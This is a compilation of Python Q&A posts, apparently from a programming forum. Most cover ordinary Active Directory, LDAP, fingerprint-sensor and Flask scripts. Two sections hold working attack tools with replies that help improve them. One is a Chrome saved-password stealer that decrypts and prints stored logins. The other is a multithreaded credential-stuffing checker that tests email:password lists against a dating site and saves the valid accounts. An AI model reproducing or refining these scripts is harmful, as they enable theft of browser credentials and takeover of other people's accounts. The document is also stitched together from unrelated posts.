I know that I can do this by querying AD again inside the loop, but that will generate a significant number of calls that I'm hoping to avoid. Here's my code:
import os, sys
import re
import datetime
import getpass
import ldap
debug = True
now = datetime.datetime.now()
print '******************\n##########\n******************\n'
l = ldap.initialize("ldap://##########")
if debug:
l.simple_bind_s("ADuser###########","##########")
else:
try:
username = raw_input('Username: ')
password = getpass.getpass('Password: ')
l.simple_bind_s(username + '###########', password)
except ldap.LDAPError, e:
print e
raw_input('Press any key to continue')
sys.exit()
baseDN = "OU=##########, OU=##########, OU=##########, DC=##########, DC=##########"
searchScope = ldap.SCOPE_SUBTREE
retrieveAttributes = None
searchFilter = "CN=*"
try:
ldap_result_id = l.search(baseDN, searchScope, searchFilter, retrieveAttributes)
result_set = []
while 1:
result_type, result_data = l.result(ldap_result_id, 0)
if (result_data == []):
break
else:
if result_type == ldap.RES_SEARCH_ENTRY:
result_set.append(result_data)
try:
f = open(os.environ['userprofile'] + '\\Desktop\\' + now.strftime('%Y-%m-%d') + '_Report.csv', 'w')
f.write('Full Name, Shared Account Name, Shared Account Code\n')
try:
for i in range(len(result_set)):
for entry in result_set[i]:
#print entry[1]['cn'][0] #Security Group name
try:
if entry[1]['member']:
for member in entry[1]['member']: #Group members
m = re.search('CN=(.+?),OU', member).group(1)
account = entry[1]['cn'][0]
description = entry[1]['description'][0].rstrip('\n')
member = m.replace('\\', '')
f.write('"' + member + '", ' + description + ', ' + account + '\n')
except:
pass
finally:
f.close()
except IOError, e:
print e
l.unbind_s()
except ldap.LDAPError, e:
print e
raw_input('Press any key to continue')
How can I pull the list of Security Groups, Members, and then also grab the individual user's sAMAccountName as well? Or is it just not possible without another lookup?
Though the LDAP protocol there is no ability to perform the action you are asking.
You of course, could simplify the code layout by making a method call to obtain sAMAccountName from the DN you find listed in the group.
These kind of actions are typical within LDAP but they happen very fast.
Related
I have been trying to set an account attribute for an Active Directory user but this one attribute cannot be applied the same way as other account attributes (ACE type), im applying the other attributes but "User cannot change password" is the one attribute im unable to do with python programmatically.
This is the code im using to set the password in AD and set attributes for "Password never expires" and "Store password using reversable encyption"
My sources for the code came from here: https://blog.steamsprocket.org.uk/2011/07/04/user-cannot-change-password-using-python/
Someone else other attempt was here but i'm unable to apply it:https://web.archive.org/web/20150829114442/http://www.robertmeany.com/programming/python-and-the-active-directory-security_descriptor/
Hopefully someone may be able to assist me, thank you.
import ldap3
from ldap3 import Connection,Server,ALL,SUBTREE,MODIFY_REPLACE
zid = input("username: ")
zid = str(zid).lower()
print(f'Searching for {zid}')
server = Server('ldaps://IP_OF_MY_AD_SERVER', use_ssl=True, get_info=all)
conn = Connection(server, user='DOMAIN\\USERNAME', password='password', auto_bind=True)
conn.bind()
Path_Root = "DC=domain,DC=Wan"
Filter = f'(&(objectclass=user)(&(sAMAccountName={zid})(!(objectclass=computer))))'
conn.search(search_base = Path_Root,
search_filter = Filter,
search_scope = SUBTREE,
attributes = ["cn", "sAMAccountName", "displayName"]
)
if len(conn.entries) == 1:
USER_DN = conn.response[0].get("dn")
print(USER_DN)
try:
new_password = "A__PASSWORD22"
print(new_password)
print("New password successfully applied")
except:
print("New password could not be applied")
#setting the password:
try:
res = ldap3.extend.microsoft.modifyPassword.ad_modify_password(conn, USER_DN, new_password, old_password=None, controls=None)
res = conn.extend.microsoft.modify_password(USER_DN, new_password)
changeUACattribute = {'userAccountControl': [('MODIFY_REPLACE', 66236)]}
conn.modify(USER_DN, changes=changeUACattribute)
print(conn.result)
print(res)
if res:
print('user %s change password Success.')
print('password: %s' %new_password)
else:
print('user %s change password Failed.')
except Exception as e:
print(f'Error setting AD password: {e}')
This is the code im trying to apply the nTSecurityDescriptor:
import win32security
import win32com.client as win32
domains = ["FQDN","IP_OF_DOMAIN"]
username = "DOMAIN\\USERNAME"
print(username)
password = input("Password: ")
print ("AUTHENTICATING ACCOUNT...")
for d in domains:
try:
token = win32security.LogonUser(
username,
d,
password,
win32security.LOGON32_LOGON_NEW_CREDENTIALS,
win32security.LOGON32_PROVIDER_DEFAULT)
authenticated = True
token.Close()
break
except:
authenticated = False
if (authenticated):
print ("VALID ACCOUNT!")
else:
print ("Wrong username or password!")
authenticated = bool(token)
ChangePasswordGuid = '{ab721a53-1e2f-11d0-9819-00aa0040529b}'
ADS_ACETYPE_ACCESS_DENIED_OBJECT = 0x6
SID_SELF = "S-1-5-10"
SID_EVERYONE = "S-1-1-0"
selfAccount = win32security.LookupAccountSid(None,
win32security.GetBinarySid(SID_SELF))
everyoneAccount = win32security.LookupAccountSid(None,
win32security.GetBinarySid(SID_EVERYONE))
selfName = ("%s\\%s" % (selfAccount[1], selfAccount[0])).strip('\\')
everyoneName = ("%s\\%s" % (everyoneAccount[1], everyoneAccount[0])).strip('\\')
print(USER_DN)
location = USER_DN
user = win32.GetObject("ldap://cn=%s,%s" % (zid, location))
print(user)
sd = user.nTSecurityDescriptor
dacl = sd.DiscretionaryAcl
for ace in dacl:
if ace.ObjectType.lower() == ChangePasswordGuid.lower():
if ace.Trustee == selfName or ace.Trustee == everyoneName:
ace.AceType = ADS_ACETYPE_ACCESS_DENIED_OBJECT
sd.DiscretionaryAcl = dacl
user.Put('ntSecurityDescriptor', sd)
user.SetInfo()
The Error:
sd = USER_DN.nTSecurityDescriptor
AttributeError: 'str' object has no attribute 'nTSecurityDescriptor'
Hello Im new at python and i want remove junk prints in my code (I have indicated the problem in the picture.):
import os
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil
#ChromeDecoder
print("--------------------| Google Chrome |--------------------")
def get_master_key():
with open(os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Local
State', "r", encoding='utf-8') as f:
local_state = f.read()
local_state = json.loads(local_state)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key = master_key[5:] # removing DPAPI
master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key
def decrypt_payload(cipher, payload):
return cipher.decrypt(payload)
def generate_cipher(aes_key, iv):
return AES.new(aes_key, AES.MODE_GCM, iv)
def decrypt_password(buff, master_key):
try:
iv = buff[3:15]
payload = buff[15:]
cipher = generate_cipher(master_key, iv)
decrypted_pass = decrypt_payload(cipher, payload)
decrypted_pass = decrypted_pass[:-16].decode() # remove suffix bytes
return decrypted_pass
except Exception as e:
# print("Probably saved password from Chrome version older than v80\n")
# print(str(e))
return "Chrome < 80"
if __name__ == '__main__':
master_key = get_master_key()
login_db = os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User
Data\default\Login Data'
shutil.copy2(login_db, "Loginvault.db") #making a temp copy since Login Data DB is locked
while Chrome is running
conn = sqlite3.connect("Loginvault.db")
cursor = conn.cursor()
try:
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for r in cursor.fetchall():
url = r[0]
username = r[1]
encrypted_password = r[2]
decrypted_password = decrypt_password(encrypted_password, master_key)
print("[+] Password Found !!!" + "\n" +"URL: " + url + "\nUser Name: " + username + "\nPassword: " + decrypted_password + "\n")
except Exception as e:
pass
cursor.close()
conn.close()
try:
os.remove("Loginvault.db")
except Exception as e:
pass
Its works but i have a problem:
enter image description here
I see so much spaces and how i can remove them?
Also is there a way to count found passwords in this format?
print("[+] 100 passwords have been found.")
Sorry for bad English... Thank you.
You can check for empty str also f"text {variable}" is much better for reading.If you want check other values just ad and var != ""
if url != "":
print(f"[+] Password Found !!!\nURL: {url}\nUser Name: {username}\nPassword: {decrypted_password}\n")
2:
before for loop ad count=0
and in loop into if url != "": ad
count += 1
I'm trying to take an image via webcam then send the image through gmail. That function suppose to happen if my fingerprint is known at the system. If it does it needs to execute the send email function. I added after the send email function to send 'HIGH' to a gpio. I don't think it suppose to interfere.
When there is a known template it is followed by an "else:" statement. then I put my "def find_newest_file(dir):" function. What am I doing wrong?
might note I'm terrible at programming. Thank you!
Pyfingerprint
import os
import glob
import time
import smtplib
import imghdr
from email.message import EmailMessage
import RPi.GPIO as GPIO
from time import sleep
GPIO.setmode(GPIO.BCM)
GPIO.setup(26, GPIO.OUT)
import hashlib
from pyfingerprint.pyfingerprint import PyFingerprint
GPIO.output(26, 0)
## Search for a finger
##
## Tries to initialize the sensor
try:
f = PyFingerprint('/dev/ttyUSB0', 57600, 0xFFFFFFFF, 0x00000000)
if ( f.verifyPassword() == False ):
raise ValueError('The given fingerprint sensor password is wrong!')
except Exception as e:
print('The fingerprint sensor could not be initialized!')
print('Exception message: ' + str(e))
exit(1)
## Gets some sensor information
print('Currently used templates: ' + str(f.getTemplateCount()) +'/'+ str(f.getStorageCapacity()))
## Tries to search the finger and calculate hash
try:
print('Waiting for finger...')
## Wait that finger is read
while ( f.readImage() == False ):
pass
## Converts read image to characteristics and stores it in charbuffer 1
f.convertImage(0x01)
## Searchs template
result = f.searchTemplate()
positionNumber = result[0]
accuracyScore = result[1]
if ( positionNumber == -1 ):
print('No match found!')
exit(0)
else:
print('Found template at position #' + str(positionNumber))
print('The accuracy score is: ' + str(accuracyScore))
def find_newest_file(dir):
os.system('fswebcam -r 1280x720 -S 3 --jpeg 90 --save /home/pi/Pictures/%H%M%S.jpg')
types = ['*.png', '*.jpg']
files = []
if not os.path.isdir(dir):
print(f'ERROR: {dir} does not exist. or it is not a valid folder')
exit()
for ext in types:
scan_path = os.path.abspath(os.path.join(dir, ext))
files.extend(glob.glob(scan_path))
if len(files) == 0:
print(f'ERROR: file not found while scanning folder: {dir} for: {types}')
exit()
newest = None
n_time = 0
for file in files:
# print(file)
c_time = os.path.getctime(file)
if c_time > n_time:
n_time = c_time
newest = file
if newest is None:
print(f'-----------\nUnexpected error: None was return while the list was not empty:\n{files}')
exit()
if os.path.exists(newest):
return newest # return as a list since this is what Yehonata expect
else:
print(f'ERROR: File {newest} not found')
exit()
# Yehontan Code
Sender_Email = "Sender#gmail.com"
Reciever_Email = "reciver#gmailcom"
Password = input('Enter your email account password: ')
newMessage = EmailMessage()
newMessage['Subject'] = "Check out the new logo"
newMessage['From'] = Sender_Email
newMessage['To'] = Reciever_Email
newMessage.set_content('Let me know what you think. Image attached!')
# Tomerl: Replace static name with seach function
files = [ find_newest_file('/home/pi/Pictures/') ]
for file in files:
with open(file, 'rb') as f:
image_data = f.read()
image_type = imghdr.what(f.name)
image_name = f.name
newMessage.add_attachment(image_data, maintype='image', subtype=image_type, filename=image_name)
with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp:
smtp.login(Sender_Email, Password)
smtp.send_message(newMessage)
try:
for x in range(1):
GPIO.output(26, 1)
sleep(2.5)
GPIO.output(26, 0)
sleep(2.5)
except KeyboardInterrupt:
GPIO.cleanup()
GPIO.output(26, 0)
## Loads the found template to charbuffer 1
f.loadTemplate(positionNumber, 0x01)
## Downloads the characteristics of template loaded in charbuffer 1
characterics = str(f.downloadCharacteristics(0x01)).encode('utf-8')
## Hashes characteristics of template
print('SHA-2 hash of template: ' + hashlib.sha256(characterics).hexdigest())
except Exception as e:
print('Operation failed!')
print('Exception message: ' + str(e))
exit(1)
You need to define the function at the top of the program. You only need to call it after the else statement. Basically, put
def find_newest_file(dir):
os.system('fswebcam -r 1280x720 -S 3 --jpeg 90 --save /home/pi/Pictures/%H%M%S.jpg')
types = ['*.png', '*.jpg']
files = []
if not os.path.isdir(dir):
print(f'ERROR: {dir} does not exist. or it is not a valid folder')
exit()
at the top and when you want to use it do
find_newest_file(foo)
Good luck on your journey!
I am working on a use case to creating groups in AD through PyAD and create folder and groups for that folder through flask.
I am using for loop for passing arguments and returning responses. If the group exists code should not create if else it should create and then move on to create folder and set permissions.
But the logic works fine for for the first group passed in request, but 2nd one is not getting into the loop.
Facing issues making it work through flask and handle responses. Is there is a way to achive it, please help.
app = Flask(__name__)
api = Api(app)
#Class to create fileshare
class Test(Resource):
def post(self):
pythoncom.CoInitialize()
# Get JSON arguments from Payload shared NAS path, directorname groupname with read access and right access
parentdir = request.json.get("shareUNCPath")
dirname = request.json.get("shareFolderName")
readGroup = request.json.get("readGroup")
writeGroup = request.json.get("writeGroup")
domainName = request.json.get("domain")
groupList = [readGroup,writeGroup]
#for gn in groupList:
try:
j=(len(groupList))+1
if readGroup == writeGroup:
j=(len(groupList))-1
#for gn in len(groupList):
for i in range(4):
groupName = groupList[i]
pyad.set_defaults(username="username", password="password", ldap_server="ldapServer")
rGroup = adgroup.ADGroup.from_cn(groupName)
logging.debug("read group {} available in AD ".format(groupName))
if __name__ == "__main__":
os.makedirs(path)
igroup, domain, type = win32security.LookupAccountName (domainName, groupName)
sd = win32security.GetFileSecurity(path, win32security.DACL_SECURITY_INFORMATION)
dacl = sd.GetSecurityDescriptorDacl()
logging.debug("Domain1 {}, Group1 {}".format(domainName, groupName))
if groupName in readGroup:
dacl.AddAccessAllowedAce(win32security.ACL_REVISION,con.GENERIC_READ, igroup)
if groupName in writeGroup:
dacl.AddAccessAllowedAce(win32security.ACL_REVISION,con.GENERIC_WRITE, igroup)
isdir = os.path.isdir(path)
if isdir == True:
sd.SetSecurityDescriptorDacl(1, dacl, 0)
win32security.SetFileSecurity(path, win32security.DACL_SECURITY_INFORMATION, sd)
dacl = sd.GetSecurityDescriptorDacl()
cnt=dacl.GetAceCount()
for i in range(0, cnt):
rev, access, usersid = dacl.GetAce(i)
user, group, type = win32security.LookupAccountSid(domainName, usersid)
details = ('Group: {}/{}'.format(group, user), rev, access)))
resp = Response('Successfully created file share {}. Details {}'.format(dirname, details))
print (resp)
resp.status_code = 200
return resp
except Exception as e:
errormsg = str(e)
print (errormsg)
if "The server is not operational" in errormsg:
resp = Response('AD operation failed, unable to connect to Active Directory. Error - {}'.format(e))
print (resp)
resp.status_code = 301
return resp
else:
try:
for i in range(4):
groupName = groupList[i]
pyad.set_defaults(username="username", password="pasword",ldap_server="ldapServer")
ou = pyad.adcontainer.ADContainer.from_dn(group_OU)
rGroup = adgroup.ADGroup.create(
name=groupName,
security_enabled = True,
scope=groupScope,
container_object=ou,
optional_attributes={"description": description}
)
if rGroup.Displayname == (groupName):
if __name__ == "__main__":
os.makedirs(path)
#groupr = win32security.LookupAccountName ("", readGroup)
a.logon()
time.sleep(5)
igroup, domain, type = win32security.LookupAccountName (domainName, groupName)
sd = win32security.GetFileSecurity(path, win32security.DACL_SECURITY_INFORMATION)
#dacl = win32security.ACL()
dacl = sd.GetSecurityDescriptorDacl()
#acl = pywintypes.ACL()
#set permessions for readGroup with GENERIC_READ level permessions
#dacl.AddAccessAllowedAce(win32security.ACL_REVISION,con.GENERIC_READ, groupr)
if groupName in readGroup:
dacl.AddAccessAllowedAceEx(win32security.ACL_REVISION,con.OBJECT_INHERIT_ACE|con.CONTAINER_INHERIT_ACE,con.GENERIC_READ|con.GENERIC_EXECUTE, igroup)
if groupName in writeGroup:
dacl.AddAccessAllowedAce(win32security.ACL_REVISION,con.GENERIC_WRITE, igroup)
isdir = os.path.isdir(path)
if isdir == True:
sd.SetSecurityDescriptorDacl(1, dacl, 0)
win32security.SetFileSecurity(path, win32security.DACL_SECURITY_INFORMATION, sd)
dacl = sd.GetSecurityDescriptorDacl()
cnt=dacl.GetAceCount()
for i in range(0, cnt):
rev, access, usersid = dacl.GetAce(i)
user, group, type = win32security.LookupAccountSid(domainName, usersid)
details = ('Group: {}/{}'.format(group, user), rev, access)
#return ("Success Fileshare created: {} ".format(dirname))
resp = Response('Successfully created file share {}. Details {}'.format(dirname, details))
print (resp)
resp.status_code = 200
return resp
except Exception as e:
print(e)
resp = Response('AD operation failed, unable to create to group {}. Error - {}'.format(groupName, e))
print (resp)
resp.status_code = 302
return resp
api.add_resource(Test, '/test')
if __name__ == "__main__":
#context = ('local.crt', 'local.key')#certificate and key files
app.run(port="7050", host="0.0.0.0", use_reloader=True)
I reviewed your code. There are two things that should changed.
You use i as the loop variable for the outer and inner loop
In the first loop, you use an exception to trigger the group creation. This exits the loop and no more groups are processed. You should move the exception block inside the range(4) loop.
Here is your code with comments.
class Test(Resource):
def post(self):
.......
try:
..........
for i in range(4): # using i as loop variable, loop will exit if exception
........
if __ name __ == "__ main __": # if group exists, update permissions, throws exception if group does not exist
........
if isdir == True:
........
for i in range(0, cnt): # using i as loop variable, again
.........
# here is the problem - if the first group does not exist, an exception is thrown and the other groups are not processed
except Exception as e: # group does not exist, must add # You should move this inside the for loop
............
try:
for i in range(4): # using i as loop variable
...........
if rGroup.Displayname == (groupName):
if __ name __ == "__main__":
.........
if isdir == True:
........
for i in range(0, cnt): # using i as loop variable, again
..........
To clarify, the overall logic should be like this:
for i in range(4): # each group
try:
# update permissions
except Exception as e:
# add new group
As a side note, try to check if the group exists without using the try\except block. Exceptions should not be used in normal program flow.
Hell All.
i was made some python script with thread which checking some of account exist in some website
if i run thread 1 , it working well but if increase thread such like 3~5 and above,
result was very different compare with thread 1 and i was checked manually and
if i increase thread result was not correct.
i think some of my thread code have to tune or how about use Queue module ?
anyone can advice or tuneing my script? Thanks in advance!
# -*- coding: cp949 -*-
import sys,os
import mechanize, urllib
import cookielib
import re
from BeautifulSoup import BeautifulSoup,BeautifulStoneSoup,Tag
import re,sys,os,mechanize,urllib,threading,time
# Maximum number of process to spawn at any one given time.
MAX_PROCS =5
maillist = "daum.txt"
threads = []
SAVEFILE = 'valid_joyhunt.txt'
# Threading class
class CheckMyThread ( threading.Thread ):
llemail = ""
llpassword = ""
def __init__ ( self , lemail, lpassword):
self.llemail = lemail
self.llpassword = lpassword
threading.Thread.__init__( self )
pass
def run ( self ):
valid = []
llemail = self.llemail
llpassword = self.llpassword
try:
params = urllib.urlencode({'userid':llemail, 'passwd':llpassword})
rq = mechanize.Request("http://www.joyhunting.com/include/member/login_ok1.asp", params)
rs = mechanize.urlopen(rq)
data = rs.read()
logged_in = r'var _id' in data #정상 로그인
if logged_in :
rq = mechanize.Request("http://www.joyhunting.com/myjoy/new_myjoy.asp")
rs = mechanize.urlopen(rq)
maindata = rs.read(50024)
jun_member = r"준회원"
save = open(SAVEFILE, 'a')
for match in re.finditer(r'<td height="28" colspan="2" style="PADDING-left: 16px">현재 <strong>(.*?)</strong>', maindata):
matched = match.group(1)
for match2 in re.finditer(r"var _gd(.*?);", data):
matched2 = match2.group(1)
print '%s, %s' %(matched, matched2)
break
rq1=mechanize.Request("http://www.joyhunting.com/webchat/applyweb/sendmessage_HPCK_step1.asp?reURL=1&myid="+llemail+"&ToID=undefined&hide=undefined")
rs1=mechanize.urlopen(rq1)
sendmsg= rs1.read()
#print sendmsg
match3 = ''
for match3 in re.finditer(r":'\+(.*?)\);", sendmsg):
matched3 = match3.group(1)
#print matched3
print 'bad'
break
if match3 =='':
save.write('%s, %s, %s:%s ' %(matched, matched2, llemail, llpassword + '\n'))
save.close()
print '[+] Checking: %s:%s -> Good!' % (llemail, llpassword)
else:
print '[-] Checking: %s:%s -> bad account!' % (llemail, llpassword)
return 0
except:
print '[!] Exception checking %s.' % (llemail)
return 1
return 0
try:
listhandle = open(maillist);
#Bail out if the file doesn't exist
except:
print '[!] %s does not exist. Please create the file!' % (maillist)
exit (2)
#Loop through the file
for line in listhandle:
#Parse the line
try:
details = line.split(':')
email = details[0]
password = details[1].replace('\n', '')
#Throw an error and exit.
except:
print '[!] Parse Error in %s on line %n.' % (maillist, currline)
exit
#Run a while statement:
if len(threads) < MAX_PROCS:
#Fork out into another process
print '[ ] Starting thread to check account %s.' % (email);
thread = CheckMyThread(email, password)
thread.start()
threads.append(thread)
else:
#Wait for a thread to exit.
gonext = 0
while 1 == 1:
i = 0
#print '[ ] Checking for a thread to exit...'
while i < len(threads):
#print '[ ] %d' % (i)
try:
if threads[i]:
if not threads[i].isAlive():
#print '[-] Thread %d is dead' % (i)
threads.pop(i)
print '[ ] Starting thread to check account %s.' % (email);
thread = CheckMyThread(email, password)
thread.start()
threads.append(thread)
gonext = 1
break
else:
#print '[+] Thread %d is still running' % (i)
pass
else:
print '[ ] Crap.';
except NameError:
print '[ ] AWWW COME ON!!!!'
i = i + 1
time.sleep(0.050);
if gonext:
break
Can You please specify what are different results?
From what I see, code is doing much more than verifying account.
From what I see, You're appending to a single file from multiple threads, I'd say it's not thread-safe.
Also, AFAIK Mechanize uses shared cookie storage for all requests, so they are probably interfering. Use separate mechanize.Browser() inside run() instead of mechanize.Request().